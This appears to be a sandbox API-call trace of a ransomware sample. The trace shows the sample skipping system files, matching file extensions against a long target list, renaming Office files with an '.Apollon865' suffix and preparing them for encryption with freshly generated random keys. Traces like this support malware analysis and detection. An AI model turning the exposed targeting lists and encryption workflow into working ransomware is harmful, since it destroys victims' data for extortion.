	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="Apollon865.txt.exe") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="..") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="windows") returned -1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="bootmgr") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="temp") returned -1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="pagefile.sys") returned -1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="boot") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="ids.txt") returned 1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="ntuser.dat") returned -1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="perflogs") returned -1
	[0065.981] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2="MSBuild") returned -1
	[0065.981] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43
	[0065.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 95
	[0065.981] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="microsoft.office.workflow.actions.proxy.dll" | out: lpString1="microsoft.office.workflow.actions.proxy.dll") returned="microsoft.office.workflow.actions.proxy.dll"
	[0065.982] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43
	[0065.982] lstrlenW (lpString="Apollon865") returned 10
	[0065.982] lstrcmpiW (lpString1=".proxy.dll", lpString2="Apollon865") returned -1
	[0065.982] lstrlenW (lpString=".dll") returned 4
	[0065.982] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".dll") returned 1
	[0065.982] lstrlenW (lpString=".lnk") returned 4
	[0065.982] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".lnk") returned 1
	[0065.982] lstrlenW (lpString=".ini") returned 4
	[0065.982] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".ini") returned 1
	[0065.982] lstrlenW (lpString=".sys") returned 4
	[0065.982] lstrcmpiW (lpString1="microsoft.office.workflow.actions.proxy.dll", lpString2=".sys") returned 1
	[0065.982] lstrlenW (lpString="microsoft.office.workflow.actions.proxy.dll") returned 43
	[0065.982] lstrlenW (lpString="bak") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0065.982] lstrlenW (lpString="ba_") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0065.982] lstrlenW (lpString="dbb") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0065.982] lstrlenW (lpString="vmdk") returned 4
	[0065.982] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0065.982] lstrlenW (lpString="rar") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0065.982] lstrlenW (lpString="zip") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0065.982] lstrlenW (lpString="tgz") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0065.982] lstrlenW (lpString="vbox") returned 4
	[0065.982] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0065.982] lstrlenW (lpString="vdi") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0065.982] lstrlenW (lpString="vhd") returned 3
	[0065.982] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0065.982] lstrlenW (lpString="vhdx") returned 4
	[0065.982] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0065.982] lstrlenW (lpString="avhd") returned 4
	[0065.983] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0065.983] lstrlenW (lpString="db") returned 2
	[0065.983] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0065.983] lstrlenW (lpString="db2") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0065.983] lstrlenW (lpString="db3") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0065.983] lstrlenW (lpString="dbf") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0065.983] lstrlenW (lpString="mdf") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0065.983] lstrlenW (lpString="mdb") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0065.983] lstrlenW (lpString="sql") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0065.983] lstrlenW (lpString="sqlite") returned 6
	[0065.983] lstrcmpiW (lpString1="xy.dll", lpString2="sqlite") returned 1
	[0065.983] lstrlenW (lpString="sqlite3") returned 7
	[0065.983] lstrcmpiW (lpString1="oxy.dll", lpString2="sqlite3") returned -1
	[0065.983] lstrlenW (lpString="sqlitedb") returned 8
	[0065.983] lstrcmpiW (lpString1="roxy.dll", lpString2="sqlitedb") returned -1
	[0065.983] lstrlenW (lpString="xml") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0065.983] lstrlenW (lpString="$er") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0065.983] lstrlenW (lpString="4dd") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0065.983] lstrlenW (lpString="4dl") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0065.983] lstrlenW (lpString="^^^") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0065.983] lstrlenW (lpString="abs") returned 3
	[0065.983] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0065.983] lstrlenW (lpString="abx") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0065.984] lstrlenW (lpString="accdb") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accdb") returned 1
	[0065.984] lstrlenW (lpString="accdc") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accdc") returned 1
	[0065.984] lstrlenW (lpString="accde") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accde") returned 1
	[0065.984] lstrlenW (lpString="accdr") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accdr") returned 1
	[0065.984] lstrlenW (lpString="accdt") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accdt") returned 1
	[0065.984] lstrlenW (lpString="accdw") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accdw") returned 1
	[0065.984] lstrlenW (lpString="accft") returned 5
	[0065.984] lstrcmpiW (lpString1="y.dll", lpString2="accft") returned 1
	[0065.984] lstrlenW (lpString="adb") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.984] lstrlenW (lpString="adb") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0065.984] lstrlenW (lpString="ade") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0065.984] lstrlenW (lpString="adf") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0065.984] lstrlenW (lpString="adn") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0065.984] lstrlenW (lpString="adp") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0065.984] lstrlenW (lpString="alf") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0065.984] lstrlenW (lpString="ask") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0065.984] lstrlenW (lpString="btr") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0065.984] lstrlenW (lpString="cat") returned 3
	[0065.984] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0065.985] lstrlenW (lpString="cdb") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0065.985] lstrlenW (lpString="ckp") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0065.985] lstrlenW (lpString="cma") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0065.985] lstrlenW (lpString="cpd") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0065.985] lstrlenW (lpString="dacpac") returned 6
	[0065.985] lstrcmpiW (lpString1="xy.dll", lpString2="dacpac") returned 1
	[0065.985] lstrlenW (lpString="dad") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0065.985] lstrlenW (lpString="dadiagrams") returned 10
	[0065.985] lstrcmpiW (lpString1=".proxy.dll", lpString2="dadiagrams") returned -1
	[0065.985] lstrlenW (lpString="daschema") returned 8
	[0065.985] lstrcmpiW (lpString1="roxy.dll", lpString2="daschema") returned 1
	[0065.985] lstrlenW (lpString="db-journal") returned 10
	[0065.985] lstrcmpiW (lpString1=".proxy.dll", lpString2="db-journal") returned -1
	[0065.985] lstrlenW (lpString="db-shm") returned 6
	[0065.985] lstrcmpiW (lpString1="xy.dll", lpString2="db-shm") returned 1
	[0065.985] lstrlenW (lpString="db-wal") returned 6
	[0065.985] lstrcmpiW (lpString1="xy.dll", lpString2="db-wal") returned 1
	[0065.985] lstrlenW (lpString="dbc") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0065.985] lstrlenW (lpString="dbs") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0065.985] lstrlenW (lpString="dbt") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0065.985] lstrlenW (lpString="dbv") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0065.985] lstrlenW (lpString="dbx") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0065.985] lstrlenW (lpString="dcb") returned 3
	[0065.985] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0065.986] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.dll" | out: lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned="Microsoft.SharePoint.BusinessData.Administration.Client.dll"
	[0065.986] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned 59
	[0065.986] lstrlenW (lpString="Apollon865") returned 10
	[0065.986] lstrcmpiW (lpString1="Client.dll", lpString2="Apollon865") returned 1
	[0065.986] lstrlenW (lpString=".dll") returned 4
	[0065.986] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".dll") returned 1
	[0065.986] lstrlenW (lpString=".lnk") returned 4
	[0065.986] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".lnk") returned 1
	[0065.986] lstrlenW (lpString=".ini") returned 4
	[0065.986] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".ini") returned 1
	[0065.986] lstrlenW (lpString=".sys") returned 4
	[0065.986] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.dll", lpString2=".sys") returned 1
	[0065.986] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.dll") returned 59
	[0065.988] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.xml" | out: lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned="Microsoft.SharePoint.BusinessData.Administration.Client.xml"
	[0065.988] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 59
	[0065.988] lstrlenW (lpString="Apollon865") returned 10
	[0065.988] lstrcmpiW (lpString1="Client.xml", lpString2="Apollon865") returned 1
	[0065.988] lstrlenW (lpString=".dll") returned 4
	[0065.988] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".dll") returned 1
	[0065.988] lstrlenW (lpString=".lnk") returned 4
	[0065.988] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".lnk") returned 1
	[0065.988] lstrlenW (lpString=".ini") returned 4
	[0065.988] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".ini") returned 1
	[0065.988] lstrlenW (lpString=".sys") returned 4
	[0065.988] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".sys") returned 1
	[0065.988] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 59
	[0065.988] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Apollon865") returned 113
	[0065.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.apollon865"), dwFlags=0x1) returned 1
	[0065.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.990] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=201136) returned 1
	[0065.990] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0065.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0065.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.992] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.993] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.993] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.993] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x314b0, lpName=0x0) returned 0x150
	[0065.994] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x314b0) returned 0x210000
	[0066.038] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0066.038] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.038] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.039] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0066.041] CloseHandle (hObject=0x150) returned 1
	[0066.041] CloseHandle (hObject=0x118) returned 1
	[0066.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0066.041] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.042] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1
	[0066.042] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.042] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="Apollon865.txt.exe") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="..") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="windows") returned -1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="bootmgr") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="temp") returned -1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="pagefile.sys") returned -1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="boot") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="ids.txt") returned 1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="ntuser.dat") returned -1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="perflogs") returned -1
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="MSBuild") returned -1
	[0066.043] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46
	[0066.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 102
	[0066.043] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="microsoft.sharepoint.workflowactions.proxy.dll" | out: lpString1="microsoft.sharepoint.workflowactions.proxy.dll") returned="microsoft.sharepoint.workflowactions.proxy.dll"
	[0066.043] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46
	[0066.043] lstrlenW (lpString="Apollon865") returned 10
	[0066.043] lstrcmpiW (lpString1=".proxy.dll", lpString2="Apollon865") returned -1
	[0066.043] lstrlenW (lpString=".dll") returned 4
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".dll") returned 1
	[0066.043] lstrlenW (lpString=".lnk") returned 4
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".lnk") returned 1
	[0066.043] lstrlenW (lpString=".ini") returned 4
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".ini") returned 1
	[0066.043] lstrlenW (lpString=".sys") returned 4
	[0066.043] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".sys") returned 1
	[0066.043] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46
	[0066.043] lstrlenW (lpString="bak") returned 3
	[0066.043] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0066.043] lstrlenW (lpString="ba_") returned 3
	[0066.043] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0066.043] lstrlenW (lpString="dbb") returned 3
	[0066.043] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0066.043] lstrlenW (lpString="vmdk") returned 4
	[0066.044] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0066.044] lstrlenW (lpString="rar") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0066.044] lstrlenW (lpString="zip") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0066.044] lstrlenW (lpString="tgz") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0066.044] lstrlenW (lpString="vbox") returned 4
	[0066.044] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0066.044] lstrlenW (lpString="vdi") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0066.044] lstrlenW (lpString="vhd") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0066.044] lstrlenW (lpString="vhdx") returned 4
	[0066.044] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0066.044] lstrlenW (lpString="avhd") returned 4
	[0066.044] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0066.044] lstrlenW (lpString="db") returned 2
	[0066.044] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0066.044] lstrlenW (lpString="db2") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0066.044] lstrlenW (lpString="db3") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0066.044] lstrlenW (lpString="dbf") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0066.044] lstrlenW (lpString="mdf") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0066.044] lstrlenW (lpString="mdb") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0066.044] lstrlenW (lpString="sql") returned 3
	[0066.044] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0066.044] lstrlenW (lpString="sqlite") returned 6
	[0066.044] lstrcmpiW (lpString1="xy.dll", lpString2="sqlite") returned 1
	[0066.044] lstrlenW (lpString="sqlite3") returned 7
	[0066.044] lstrcmpiW (lpString1="oxy.dll", lpString2="sqlite3") returned -1
	[0066.045] lstrlenW (lpString="sqlitedb") returned 8
	[0066.045] lstrcmpiW (lpString1="roxy.dll", lpString2="sqlitedb") returned -1
	[0066.045] lstrlenW (lpString="xml") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0066.045] lstrlenW (lpString="$er") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0066.045] lstrlenW (lpString="4dd") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0066.045] lstrlenW (lpString="4dl") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0066.045] lstrlenW (lpString="^^^") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0066.045] lstrlenW (lpString="abs") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0066.045] lstrlenW (lpString="abx") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0066.045] lstrlenW (lpString="accdb") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accdb") returned 1
	[0066.045] lstrlenW (lpString="accdc") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accdc") returned 1
	[0066.045] lstrlenW (lpString="accde") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accde") returned 1
	[0066.045] lstrlenW (lpString="accdr") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accdr") returned 1
	[0066.045] lstrlenW (lpString="accdt") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accdt") returned 1
	[0066.045] lstrlenW (lpString="accdw") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accdw") returned 1
	[0066.045] lstrlenW (lpString="accft") returned 5
	[0066.045] lstrcmpiW (lpString1="y.dll", lpString2="accft") returned 1
	[0066.045] lstrlenW (lpString="adb") returned 3
	[0066.045] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0066.045] lstrlenW (lpString="adb") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0066.046] lstrlenW (lpString="ade") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0066.046] lstrlenW (lpString="adf") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0066.046] lstrlenW (lpString="adn") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0066.046] lstrlenW (lpString="adp") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0066.046] lstrlenW (lpString="alf") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0066.046] lstrlenW (lpString="ask") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0066.046] lstrlenW (lpString="btr") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0066.046] lstrlenW (lpString="cat") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0066.046] lstrlenW (lpString="cdb") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0066.046] lstrlenW (lpString="ckp") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0066.046] lstrlenW (lpString="cma") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0066.046] lstrlenW (lpString="cpd") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0066.046] lstrlenW (lpString="dacpac") returned 6
	[0066.046] lstrcmpiW (lpString1="xy.dll", lpString2="dacpac") returned 1
	[0066.046] lstrlenW (lpString="dad") returned 3
	[0066.046] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0066.046] lstrlenW (lpString="dadiagrams") returned 10
	[0066.046] lstrcmpiW (lpString1=".proxy.dll", lpString2="dadiagrams") returned -1
	[0066.046] lstrlenW (lpString="daschema") returned 8
	[0066.047] lstrcmpiW (lpString1="roxy.dll", lpString2="daschema") returned 1
	[0066.047] lstrlenW (lpString="db-journal") returned 10
	[0066.047] lstrcmpiW (lpString1=".proxy.dll", lpString2="db-journal") returned -1
	[0066.047] lstrlenW (lpString="db-shm") returned 6
	[0066.047] lstrcmpiW (lpString1="xy.dll", lpString2="db-shm") returned 1
	[0066.047] lstrlenW (lpString="db-wal") returned 6
	[0066.047] lstrcmpiW (lpString1="xy.dll", lpString2="db-wal") returned 1
